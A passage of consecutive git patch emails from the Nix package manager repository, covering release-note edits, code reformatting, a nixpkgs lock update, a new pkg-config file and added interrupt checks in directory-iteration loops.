- In particular, the hash algorithm and content addressing method of content-addresed derivation outputs is now separated into two fields `hashAlgo` and `method`, + In particular, the hash algorithm and content addressing method of content-addresed derivation outputs are now separated into two fields `hashAlgo` and `method`, rather than one field with an arcane `:`-separated format. This JSON format is only used by the experimental `nix derivation` family of commands, at this time. @@ -56,33 +56,33 @@ It is also somewhat analogous to the [planned](https://github.com/NixOS/nix/issues/10504) `nix dev shell` (currently `nix develop`), which is less about environment variables, and more about running a development shell, which is a more powerful command, but also requires more setup. -- New-cli flake commands that expect derivations now print the failing value and its type [#10778](https://github.com/NixOS/nix/pull/10778) +- Flake operations that expect derivations now print the failing value and its type [#10778](https://github.com/NixOS/nix/pull/10778) In errors like `flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path`, the message now includes the failing value and type. Before: ``` - error: flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path + error: flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path ```` After: ``` - error: expected flake output attribute 'nixosConfigurations.yuki.config' to be a derivation or path but found a set: { appstream = «thunk»; assertions = «thunk»; boot = { bcache = «thunk»; binfmt = «thunk»; binfmtMiscRegistrations = «thunk»; blacklistedKernelModules = «thunk»; bootMount = «thunk»; bootspec = «thunk»; cleanTmpDir = «thunk»; consoleLogLevel = «thunk»; «43 attributes elided» }; «48 attributes elided» } + error: expected flake output attribute 'nixosConfigurations.yuki.config' to be a derivation or path but found a set: { appstream = «thunk»; assertions = «thunk»; boot = { bcache = «thunk»; binfmt = «thunk»; binfmtMiscRegistrations = «thunk»; blacklistedKernelModules = «thunk»; bootMount = «thunk»; bootspec = «thunk»; cleanTmpDir = «thunk»; consoleLogLevel = «thunk»; «43 attributes elided» }; «48 attributes elided» } ``` -- `fetchTree` now fetches git repositories shallowly by default [#10028](https://github.com/NixOS/nix/pull/10028) +- `fetchTree` now fetches Git repositories shallowly by default [#10028](https://github.com/NixOS/nix/pull/10028) - `builtins.fetchTree` now clones git repositories shallowly by default, which reduces network traffic and disk usage significantly in many cases. + `builtins.fetchTree` now clones Git repositories shallowly by default, which reduces network traffic and disk usage significantly in many cases. - Previously, the default behavior was to clone the full history of a specific tag or branch (eg. `ref`) and only afterwards extract the files of one specific revision. + Previously, the default behavior was to clone the full history of a specific tag or branch (e.g. `ref`) and only afterwards extract the files of one specific revision. From now on, the `ref` and `allRefs` arguments will be ignored, except if shallow cloning is disabled by setting `shallow = false`. The defaults for `builtins.fetchGit` remain unchanged. Here, shallow cloning has to be enabled manually by passing `shallow = true`. -- Store object info JSON format now uses `null` rather than omitting fields. [#9995](https://github.com/NixOS/nix/pull/9995) +- Store object info JSON format now uses `null` rather than omitting fields [#9995](https://github.com/NixOS/nix/pull/9995) The [store object info JSON format](@docroot@/protocols/json/store-object-info.md), used for e.g. `nix path-info`, no longer omits fields to indicate absent information, but instead includes the fields with a `null` value. For example, `"ca": null` is used to to indicate a store object that isn't content-addressed rather than omitting the `ca` field entirely. From e6ba450ce2b2073ecb72195bb100d0143d1083ac Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 18:17:39 +0200 Subject: [PATCH 0729/1251] .clang-format: Remove duplicated key --- .clang-format | 1 - 1 file changed, 1 deletion(-) diff --git a/.clang-format b/.clang-format index f5d7fb711..3067583e1 100644 --- a/.clang-format +++ b/.clang-format @@ -31,4 +31,3 @@ AlwaysBreakBeforeMultilineStrings: true IndentPPDirectives: AfterHash PPIndentWidth: 2 BinPackArguments: false -BinPackParameters: false From 27f880c098c684d19df1cea34fe72388d00c9699 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 18:19:37 +0200 Subject: [PATCH 0730/1251] Format after clang-format update --- src/libexpr-c/nix_api_expr.h | 12 +++--- tests/unit/libstore/store-reference.cc | 42 +++++++++---------- .../libutil-support/tests/string_callback.hh | 2 +- 3 files changed, 28 insertions(+), 28 deletions(-) diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index 0d324b148..ede7d099f 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -114,12 +114,12 @@ nix_err nix_value_call_multi( * * @see nix_value_call_multi */ -#define NIX_VALUE_CALL(context, state, value, fn, ...) \ - do { \ - Value * args_array[] = {__VA_ARGS__}; \ - size_t nargs = sizeof(args_array) / sizeof(args_array[0]); \ - nix_value_call_multi(context, state, fn, nargs, args_array, value); \ - } while (0) +#define NIX_VALUE_CALL(context, state, value, fn, ...) \ + do { \ + Value * args_array[] = {__VA_ARGS__}; \ + size_t nargs = sizeof(args_array) / sizeof(args_array[0]); \ + nix_value_call_multi(context, state, fn, nargs, args_array, value); \ + } while (0) /** * @brief Forces the evaluation of a Nix value. diff --git a/tests/unit/libstore/store-reference.cc b/tests/unit/libstore/store-reference.cc index 16e033ec4..052cd7bed 100644 --- a/tests/unit/libstore/store-reference.cc +++ b/tests/unit/libstore/store-reference.cc @@ -21,29 +21,29 @@ class StoreReferenceTest : public CharacterizationTest, public LibStoreTest } }; -#define URI_TEST_READ(STEM, OBJ) \ - TEST_F(StoreReferenceTest, PathInfo_##STEM##_from_uri) \ - { \ - readTest(#STEM, ([&](const auto & encoded) { \ - StoreReference expected = OBJ; \ - auto got = StoreReference::parse(encoded); \ - ASSERT_EQ(got, expected); \ - })); \ - } +#define URI_TEST_READ(STEM, OBJ) \ + TEST_F(StoreReferenceTest, PathInfo_##STEM##_from_uri) \ + { \ + readTest(#STEM, ([&](const auto & encoded) { \ + StoreReference expected = OBJ; \ + auto got = StoreReference::parse(encoded); \ + ASSERT_EQ(got, expected); \ + })); \ + } -#define URI_TEST_WRITE(STEM, OBJ) \ - TEST_F(StoreReferenceTest, PathInfo_##STEM##_to_uri) \ - { \ - writeTest( \ - #STEM, \ - [&]() -> StoreReference { return OBJ; }, \ - [](const auto & file) { return StoreReference::parse(readFile(file)); }, \ - [](const auto & file, const auto & got) { return writeFile(file, got.render()); }); \ - } +#define URI_TEST_WRITE(STEM, OBJ) \ + TEST_F(StoreReferenceTest, PathInfo_##STEM##_to_uri) \ + { \ + writeTest( \ + #STEM, \ + [&]() -> StoreReference { return OBJ; }, \ + [](const auto & file) { return StoreReference::parse(readFile(file)); }, \ + [](const auto & file, const auto & got) { return writeFile(file, got.render()); }); \ + } -#define URI_TEST(STEM, OBJ) \ - URI_TEST_READ(STEM, OBJ) \ - URI_TEST_WRITE(STEM, OBJ) +#define URI_TEST(STEM, OBJ) \ + URI_TEST_READ(STEM, OBJ) \ + URI_TEST_WRITE(STEM, OBJ) URI_TEST( auto, diff --git a/tests/unit/libutil-support/tests/string_callback.hh b/tests/unit/libutil-support/tests/string_callback.hh index 3a3e545e9..a02ea3a1b 100644 --- a/tests/unit/libutil-support/tests/string_callback.hh +++ b/tests/unit/libutil-support/tests/string_callback.hh @@ -11,6 +11,6 @@ inline void * observe_string_cb_data(std::string & out) }; #define OBSERVE_STRING(str) \ - (nix_get_string_callback) nix::testing::observe_string_cb, nix::testing::observe_string_cb_data(str) + (nix_get_string_callback) nix::testing::observe_string_cb, nix::testing::observe_string_cb_data(str) } From 5ddc11d0eb99bb00a1c1d35f6256ff08f2043897 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 18:47:07 +0200 Subject: [PATCH 0731/1251] Update nixpkgs --- flake.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/flake.lock b/flake.lock index ee976a3d9..f64e3ea37 100644 --- a/flake.lock +++ b/flake.lock @@ -69,11 +69,11 @@ }, "nixpkgs": { "locked": { - "lastModified": 1717413331, - "narHash": "sha256-oxsqQB/UwJNCTWUpndQgoz14731mgaWg/zYHrVwGoco=", + "lastModified": 1717432640, + "narHash": "sha256-+f9c4/ZX5MWDOuB1rKoWj+lBNm0z0rs4CK47HBLxy1o=", "owner": "NixOS", "repo": "nixpkgs", - "rev": "88dca77be222aedd1f47d2cf0942dffefee76216", + "rev": "88269ab3044128b7c2f4c7d68448b2fb50456870", "type": "github" }, "original": { From d494ac15e2e356ea331638e1fa138ee3df0088f8 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 18:38:38 +0200 Subject: [PATCH 0732/1251] Use Nixpkgs changelog-d --- flake.nix | 6 ++---- maintainers/release-notes | 2 +- misc/changelog-d.cabal.nix | 31 ------------------------------- misc/changelog-d.nix | 31 ------------------------------- 4 files changed, 3 insertions(+), 67 deletions(-) delete mode 100644 misc/changelog-d.cabal.nix delete mode 100644 misc/changelog-d.nix diff --git a/flake.nix b/flake.nix index b07e05684..a146079f4 100644 --- a/flake.nix +++ b/flake.nix @@ -159,8 +159,6 @@ }; }); - changelog-d-nix = final.buildPackages.callPackage ./misc/changelog-d.nix { }; - nix = let officialRelease = false; @@ -224,7 +222,7 @@ rl-next = let pkgs = nixpkgsFor.${system}.native; in pkgs.buildPackages.runCommand "test-rl-next-release-notes" { } '' - LANG=C.UTF-8 ${pkgs.changelog-d-nix}/bin/changelog-d ${./doc/manual/rl-next} >$out + LANG=C.UTF-8 ${pkgs.changelog-d}/bin/changelog-d ${./doc/manual/rl-next} >$out ''; repl-completion = nixpkgsFor.${system}.native.callPackage ./tests/repl-completion.nix { }; } // (lib.optionalAttrs (builtins.elem system linux64BitSystems)) { @@ -238,7 +236,7 @@ ); packages = forAllSystems (system: rec { - inherit (nixpkgsFor.${system}.native) nix changelog-d-nix; + inherit (nixpkgsFor.${system}.native) nix changelog-d; default = nix; } // (lib.optionalAttrs (builtins.elem system linux64BitSystems) { nix-static = nixpkgsFor.${system}.static.nix; diff --git a/maintainers/release-notes b/maintainers/release-notes index 2d84485c1..0fca5abf2 100755 --- a/maintainers/release-notes +++ b/maintainers/release-notes @@ -1,5 +1,5 @@ #!/usr/bin/env nix -#!nix shell .#changelog-d-nix --command bash +#!nix shell .#changelog-d --command bash # --- CONFIGURATION --- diff --git a/misc/changelog-d.cabal.nix b/misc/changelog-d.cabal.nix deleted file mode 100644 index 76f9353cd..000000000 --- a/misc/changelog-d.cabal.nix +++ /dev/null @@ -1,31 +0,0 @@ -{ mkDerivation, aeson, base, bytestring, cabal-install-parsers -, Cabal-syntax, containers, directory, filepath, frontmatter -, generic-lens-lite, lib, mtl, optparse-applicative, parsec, pretty -, regex-applicative, text, pkgs -}: -let rev = "f30f6969e9cd8b56242309639d58acea21c99d06"; -in -mkDerivation { - pname = "changelog-d"; - version = "0.1"; - src = pkgs.fetchurl { - name = "changelog-d-${rev}.tar.gz"; - url = "https://codeberg.org/roberth/changelog-d/archive/${rev}.tar.gz"; - hash = "sha256-8a2+i5u7YoszAgd5OIEW0eYUcP8yfhtoOIhLJkylYJ4="; - } // { inherit rev; }; - isLibrary = false; - isExecutable = true; - libraryHaskellDepends = [ - aeson base bytestring cabal-install-parsers Cabal-syntax containers - directory filepath frontmatter generic-lens-lite mtl parsec pretty - regex-applicative text - ]; - executableHaskellDepends = [ - base bytestring Cabal-syntax directory filepath - optparse-applicative - ]; - doHaddock = false; - description = "Concatenate changelog entries into a single one"; - license = lib.licenses.gpl3Plus; - mainProgram = "changelog-d"; -} diff --git a/misc/changelog-d.nix b/misc/changelog-d.nix deleted file mode 100644 index 1b20f4596..000000000 --- a/misc/changelog-d.nix +++ /dev/null @@ -1,31 +0,0 @@ -# Taken temporarily from -{ - callPackage, - lib, - haskell, - haskellPackages, -}: - -let - hsPkg = haskellPackages.callPackage ./changelog-d.cabal.nix { }; - - addCompletions = haskellPackages.generateOptparseApplicativeCompletions ["changelog-d"]; - - haskellModifications = - lib.flip lib.pipe [ - addCompletions - haskell.lib.justStaticExecutables - ]; - - mkDerivationOverrides = finalAttrs: oldAttrs: { - - version = oldAttrs.version + "-git-${lib.strings.substring 0 7 oldAttrs.src.rev}"; - - meta = oldAttrs.meta // { - homepage = "https://codeberg.org/roberth/changelog-d"; - maintainers = [ lib.maintainers.roberth ]; - }; - - }; -in - (haskellModifications hsPkg).overrideAttrs mkDerivationOverrides From 5d460d563e057957e9089302cdf59bd32352f028 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 18:09:38 +0200 Subject: [PATCH 0733/1251] TMP: Disable tests.setuid.i686-linux Temporarily(?) blocked on https://github.com/NixOS/nixpkgs/pull/297475#issuecomment-2145589501 --- tests/nixos/default.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index d8531b2c8..710f8a273 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -124,7 +124,7 @@ in containers = runNixOSTestFor "x86_64-linux" ./containers/containers.nix; setuid = lib.genAttrs - ["i686-linux" "x86_64-linux"] + ["x86_64-linux"] (system: runNixOSTestFor system ./setuid.nix); fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; From 9019b7a37a7e1ef8ede59a8a643286189069bdb5 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 18:56:04 +0200 Subject: [PATCH 0734/1251] doc/rl-2.23.md: Fix broken link --- doc/manual/src/release-notes/rl-2.23.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/release-notes/rl-2.23.md b/doc/manual/src/release-notes/rl-2.23.md index 0f799c1df..71dc4a91a 100644 --- a/doc/manual/src/release-notes/rl-2.23.md +++ b/doc/manual/src/release-notes/rl-2.23.md @@ -14,7 +14,7 @@ - Modify `nix derivation {add,show}` JSON format [#9866](https://github.com/NixOS/nix/issues/9866) [#10722](https://github.com/NixOS/nix/pull/10722) - The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@contributing/cli-guideline#returning-future-proof-json). + The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@/contributing/cli-guideline#returning-future-proof-json). In particular, the hash algorithm and content addressing method of content-addresed derivation outputs are now separated into two fields `hashAlgo` and `method`, rather than one field with an arcane `:`-separated format. From e0885fc216b51dbea5f589d2b5c593be6ae91805 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 3 Jun 2024 20:01:15 +0200 Subject: [PATCH 0735/1251] Fix link --- doc/manual/src/release-notes/rl-2.23.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/release-notes/rl-2.23.md b/doc/manual/src/release-notes/rl-2.23.md index 71dc4a91a..3c59b8583 100644 --- a/doc/manual/src/release-notes/rl-2.23.md +++ b/doc/manual/src/release-notes/rl-2.23.md @@ -14,7 +14,7 @@ - Modify `nix derivation {add,show}` JSON format [#9866](https://github.com/NixOS/nix/issues/9866) [#10722](https://github.com/NixOS/nix/pull/10722) - The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@/contributing/cli-guideline#returning-future-proof-json). + The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@/contributing/cli-guideline.md#returning-future-proof-json). In particular, the hash algorithm and content addressing method of content-addresed derivation outputs are now separated into two fields `hashAlgo` and `method`, rather than one field with an arcane `:`-separated format. From 06be6812a674e23abc9e24fa2fbd7a7c20684c74 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 3 Jun 2024 14:08:37 -0400 Subject: [PATCH 0736/1251] Create and install a `nix-util.pc` Before, `-lnixutil` was just stuck in `nix-store.pc`, but that doesn't seem so nice. This prepares us to distribute `libnixutil` in a separate package if we want, but it should be a good change either way. I suspect it wasn't done before because libutil was an extra unstable interface, but I don't think we need worry about that. *All* the C++ is less stable than the C (or that's the goal at least). For what it's worth, Lix also created this pkg-config file *en passant* during their rename: https://git.lix.systems/lix-project/lix/commit/c97e17144e0d0b666d7b79d8b4b0d581bfdf373b#diff-3c4f60cc44a0e35444c7f45331cfa50f76637118 --- src/libstore/nix-store.pc.in | 3 ++- src/libutil/local.mk | 2 ++ src/libutil/nix-util.pc.in | 9 +++++++++ 3 files changed, 13 insertions(+), 1 deletion(-) create mode 100644 src/libutil/nix-util.pc.in diff --git a/src/libstore/nix-store.pc.in b/src/libstore/nix-store.pc.in index dc42d0bca..cd3f2b8da 100644 --- a/src/libstore/nix-store.pc.in +++ b/src/libstore/nix-store.pc.in @@ -5,5 +5,6 @@ includedir=@includedir@ Name: Nix Description: Nix Package Manager Version: @PACKAGE_VERSION@ -Libs: -L${libdir} -lnixstore -lnixutil +Requires: nix-util +Libs: -L${libdir} -lnixstore Cflags: -I${includedir}/nix -std=c++2a diff --git a/src/libutil/local.mk b/src/libutil/local.mk index 5cd8d4ac8..e9b498e65 100644 --- a/src/libutil/local.mk +++ b/src/libutil/local.mk @@ -40,3 +40,5 @@ $(foreach i, $(wildcard $(d)/signature/*.hh), \ ifeq ($(HAVE_LIBCPUID), 1) libutil_LDFLAGS += -lcpuid endif + +$(eval $(call install-file-in, $(buildprefix)$(d)/nix-util.pc, $(libdir)/pkgconfig, 0644)) diff --git a/src/libutil/nix-util.pc.in b/src/libutil/nix-util.pc.in new file mode 100644 index 000000000..85bb1e70e --- /dev/null +++ b/src/libutil/nix-util.pc.in @@ -0,0 +1,9 @@ +prefix=@prefix@ +libdir=@libdir@ +includedir=@includedir@ + +Name: Nix +Description: Nix Package Manager +Version: @PACKAGE_VERSION@ +Libs: -L${libdir} -lnixutil +Cflags: -I${includedir}/nix -std=c++2a From bf72b78ef2110f4bda6105b8adff131dc9435bff Mon Sep 17 00:00:00 2001 From: Eli Flanagan <163922304+eflanagan0@users.noreply.github.com> Date: Mon, 3 Jun 2024 17:22:50 -0400 Subject: [PATCH 0737/1251] docs: fix python nix-shell example (#10841) * docs: fix python nix-shell example This Python code snippet depended on Python 2 which has been marked as insecure in 24.05. I modernized the example so new users will not be surprised upon copying and pasting the snippet for exploration. Co-authored-by: John Ericson --- doc/manual/src/command-ref/nix-shell.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/manual/src/command-ref/nix-shell.md b/doc/manual/src/command-ref/nix-shell.md index 1eaf3c36a..a4dd051fc 100644 --- a/doc/manual/src/command-ref/nix-shell.md +++ b/doc/manual/src/command-ref/nix-shell.md @@ -202,14 +202,14 @@ For example, here is a Python script that depends on Python and the ```python #! /usr/bin/env nix-shell -#! nix-shell -i python --packages python pythonPackages.prettytable +#! nix-shell -i python3 --packages python3 python3Packages.prettytable import prettytable # Print a simple table. t = prettytable.PrettyTable(["N", "N^2"]) for n in range(1, 10): t.add_row([n, n * n]) -print t +print(t) ``` Similarly, the following is a Perl script that specifies that it From 214051ba79b990db363cef7f5d892d8b2a6d516f Mon Sep 17 00:00:00 2001 From: Philipp Date: Tue, 4 Jun 2024 09:41:04 +0200 Subject: [PATCH 0738/1251] clarify not on `nix_value_force` (#10842) * clarify not on `nix_value_force` Co-authored-by: Valentin Gagarin --- src/libexpr-c/nix_api_expr.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index 0d324b148..13787271b 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -129,8 +129,7 @@ nix_err nix_value_call_multi( * * This function converts these Values into their final type. * - * @note You don't need this function for basic API usage very often, since all functions that return a `Value` call it - * for you. This function is mainly needed before calling @ref getters. + * @note This function is mainly needed before calling @ref getters, but not for API calls that return a `Value`. * * @param[out] context Optional, stores error information * @param[in] state The state of the evaluation. From 65884201035a3771040d462538072b2d7a0a2c63 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 4 Jun 2024 10:17:58 +0200 Subject: [PATCH 0739/1251] Bring back FreeBSD --- flake.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/flake.nix b/flake.nix index a146079f4..5dbc554fc 100644 --- a/flake.nix +++ b/flake.nix @@ -46,6 +46,7 @@ "armv7l-unknown-linux-gnueabihf" "riscv64-unknown-linux-gnu" "x86_64-unknown-netbsd" + "x86_64-unknown-freebsd" "x86_64-w64-mingw32" ]; From 4e0d058fc314d7fabeef97e9193b493e975ca6db Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 4 Jun 2024 10:18:22 +0200 Subject: [PATCH 0740/1251] eval.cc: Fix for Windows --- src/libexpr/eval.cc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 1eb60a1b8..7c676829e 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -31,7 +31,6 @@ #include #include #include -#include #include #include #include @@ -48,6 +47,8 @@ #define GC_INCLUDE_NEW +#include + #include #include #include From 8f1a26667e7c5aeac5522ae706cf511b2d725eaa Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Tue, 4 Jun 2024 19:35:40 +0530 Subject: [PATCH 0741/1251] add call to `checkInterrupt` in a bunch of places This brings back the old behaviour. We check for interrupts in places that may iterate over wide directories. --- src/libcmd/repl.cc | 1 + src/libstore/builtins/buildenv.cc | 2 ++ src/libstore/gc.cc | 5 ++++- src/libstore/globals.cc | 6 +++++- src/libstore/local-binary-cache-store.cc | 2 ++ src/libstore/local-store.cc | 2 ++ src/libstore/posix-fs-canonicalise.cc | 4 +++- src/libstore/profiles.cc | 2 ++ src/libutil/linux/cgroup.cc | 2 ++ src/libutil/posix-source-accessor.cc | 1 + src/libutil/unix/file-descriptor.cc | 1 + src/nix/flake.cc | 2 ++ src/nix/run.cc | 2 ++ 13 files changed, 29 insertions(+), 3 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index a069dd52c..603a543bc 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -260,6 +260,7 @@ StringSet NixRepl::completePrefix(const std::string & prefix) auto dir = std::string(cur, 0, slash); auto prefix2 = std::string(cur, slash + 1); for (auto & entry : std::filesystem::directory_iterator{dir == "" ? "/" : dir}) { + checkInterrupt(); auto name = entry.path().filename().string(); if (name[0] != '.' && hasPrefix(name, prefix2)) completions.insert(prev + entry.path().string()); diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc index ab35c861d..0f7bcd99b 100644 --- a/src/libstore/builtins/buildenv.cc +++ b/src/libstore/builtins/buildenv.cc @@ -1,5 +1,6 @@ #include "buildenv.hh" #include "derivations.hh" +#include "signals.hh" #include #include @@ -30,6 +31,7 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, } for (const auto & ent : srcFiles) { + checkInterrupt(); auto name = ent.path().filename(); if (name.string()[0] == '.') /* not matched by glob */ diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index 8286dff27..c6ecbd783 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -162,6 +162,7 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor) /* Read the `temproots' directory for per-process temporary root files. */ for (auto & i : std::filesystem::directory_iterator{tempRootsDir}) { + checkInterrupt(); auto name = i.path().filename().string(); if (name[0] == '.') { // Ignore hidden files. Some package managers (notably portage) create @@ -228,8 +229,10 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R type = std::filesystem::symlink_status(path).type(); if (type == std::filesystem::file_type::directory) { - for (auto & i : std::filesystem::directory_iterator{path}) + for (auto & i : std::filesystem::directory_iterator{path}) { + checkInterrupt(); findRoots(i.path().string(), i.symlink_status().type(), roots); + } } else if (type == std::filesystem::file_type::symlink) { diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index d9cab2fb8..88f899dbf 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -4,6 +4,7 @@ #include "args.hh" #include "abstract-setting-to-json.hh" #include "compute-levels.hh" +#include "signals.hh" #include #include @@ -346,14 +347,17 @@ void initPlugins() std::vector pluginFiles; try { auto ents = std::filesystem::directory_iterator{pluginFile}; - for (const auto & ent : ents) + for (const auto & ent : ents) { + checkInterrupt(); pluginFiles.emplace_back(ent.path()); + } } catch (std::filesystem::filesystem_error & e) { if (e.code() != std::errc::not_a_directory) throw; pluginFiles.emplace_back(pluginFile); } for (const auto & file : pluginFiles) { + checkInterrupt(); /* handle is purposefully leaked as there may be state in the DSO needed by the action of the plugin. */ #ifndef _WIN32 // TODO implement via DLL loading on Windows diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc index 87a6026f1..dde25937c 100644 --- a/src/libstore/local-binary-cache-store.cc +++ b/src/libstore/local-binary-cache-store.cc @@ -1,6 +1,7 @@ #include "binary-cache-store.hh" #include "globals.hh" #include "nar-info-disk-cache.hh" +#include "signals.hh" #include @@ -84,6 +85,7 @@ protected: StorePathSet paths; for (auto & entry : std::filesystem::directory_iterator{binaryCacheDir}) { + checkInterrupt(); auto name = entry.path().filename().string(); if (name.size() != 40 || !hasSuffix(name, ".narinfo")) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index dd06e5b65..cbe3c6fe8 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1407,6 +1407,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) printInfo("checking link hashes..."); for (auto & link : std::filesystem::directory_iterator{linksDir}) { + checkInterrupt(); auto name = link.path().filename(); printMsg(lvlTalkative, "checking contents of '%s'", name); PosixSourceAccessor accessor; @@ -1499,6 +1500,7 @@ LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair invalid states. */ for (auto & i : std::filesystem::directory_iterator{realStoreDir.to_string()}) { + checkInterrupt(); try { storePathsInStoreDir.insert({i.path().filename().string()}); } catch (BadStorePath &) { } diff --git a/src/libstore/posix-fs-canonicalise.cc b/src/libstore/posix-fs-canonicalise.cc index d8bae13f5..8cb13d810 100644 --- a/src/libstore/posix-fs-canonicalise.cc +++ b/src/libstore/posix-fs-canonicalise.cc @@ -144,13 +144,15 @@ static void canonicalisePathMetaData_( #endif if (S_ISDIR(st.st_mode)) { - for (auto & i : std::filesystem::directory_iterator{path}) + for (auto & i : std::filesystem::directory_iterator{path}) { + checkInterrupt(); canonicalisePathMetaData_( i.path().string(), #ifndef _WIN32 uidRange, #endif inodesSeen); + } } } diff --git a/src/libstore/profiles.cc b/src/libstore/profiles.cc index d0da96262..46efedfe3 100644 --- a/src/libstore/profiles.cc +++ b/src/libstore/profiles.cc @@ -1,4 +1,5 @@ #include "profiles.hh" +#include "signals.hh" #include "store-api.hh" #include "local-fs-store.hh" #include "users.hh" @@ -38,6 +39,7 @@ std::pair> findGenerations(Path pro auto profileName = std::string(baseNameOf(profile)); for (auto & i : std::filesystem::directory_iterator{profileDir}) { + checkInterrupt(); if (auto n = parseName(profileName, i.path().filename().string())) { auto path = i.path().string(); gens.push_back({ diff --git a/src/libutil/linux/cgroup.cc b/src/libutil/linux/cgroup.cc index ec4077478..140ff4566 100644 --- a/src/libutil/linux/cgroup.cc +++ b/src/libutil/linux/cgroup.cc @@ -1,4 +1,5 @@ #include "cgroup.hh" +#include "signals.hh" #include "util.hh" #include "file-system.hh" #include "finally.hh" @@ -65,6 +66,7 @@ static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool retu /* Otherwise, manually kill every process in the subcgroups and this cgroup. */ for (auto & entry : std::filesystem::directory_iterator{cgroup}) { + checkInterrupt(); if (entry.symlink_status().type() != std::filesystem::file_type::directory) continue; destroyCgroup(cgroup / entry.path().filename(), false); } diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index 225fc852c..bcf453cba 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -133,6 +133,7 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath & assertNoSymlinks(path); DirEntries res; for (auto & entry : std::filesystem::directory_iterator{makeAbsPath(path)}) { + checkInterrupt(); auto type = [&]() -> std::optional { std::filesystem::file_type nativeType; try { diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc index 84a33af81..a74f16ce1 100644 --- a/src/libutil/unix/file-descriptor.cc +++ b/src/libutil/unix/file-descriptor.cc @@ -125,6 +125,7 @@ void closeMostFDs(const std::set & exceptions) #if __linux__ try { for (auto & s : std::filesystem::directory_iterator{"/proc/self/fd"}) { + checkInterrupt(); auto fd = std::stoi(s.path().filename()); if (!exceptions.count(fd)) { debug("closing leaked FD %d", fd); diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 78a8a55c3..feacdbcb3 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -7,6 +7,7 @@ #include "eval-settings.hh" #include "flake/flake.hh" #include "get-drvs.hh" +#include "signals.hh" #include "store-api.hh" #include "derivations.hh" #include "outputs-spec.hh" @@ -867,6 +868,7 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand createDirs(to); for (auto & entry : std::filesystem::directory_iterator{from}) { + checkInterrupt(); auto from2 = entry.path().string(); auto to2 = to + "/" + entry.path().filename().string(); auto st = lstat(from2); diff --git a/src/nix/run.cc b/src/nix/run.cc index cc999ddf4..1ecc83fba 100644 --- a/src/nix/run.cc +++ b/src/nix/run.cc @@ -3,6 +3,7 @@ #include "command-installable-value.hh" #include "common-args.hh" #include "shared.hh" +#include "signals.hh" #include "store-api.hh" #include "derivations.hh" #include "local-fs-store.hh" @@ -249,6 +250,7 @@ void chrootHelper(int argc, char * * argv) throw SysError("mounting '%s' on '%s'", realStoreDir, storeDir); for (auto entry : std::filesystem::directory_iterator{"/"}) { + checkInterrupt(); auto src = entry.path().string(); Path dst = tmpDir + "/" + entry.path().filename().string(); if (pathExists(dst)) continue; From 7d295c594e1d100c9dcbdd89198eb3882856cfcb Mon Sep 17 00:00:00 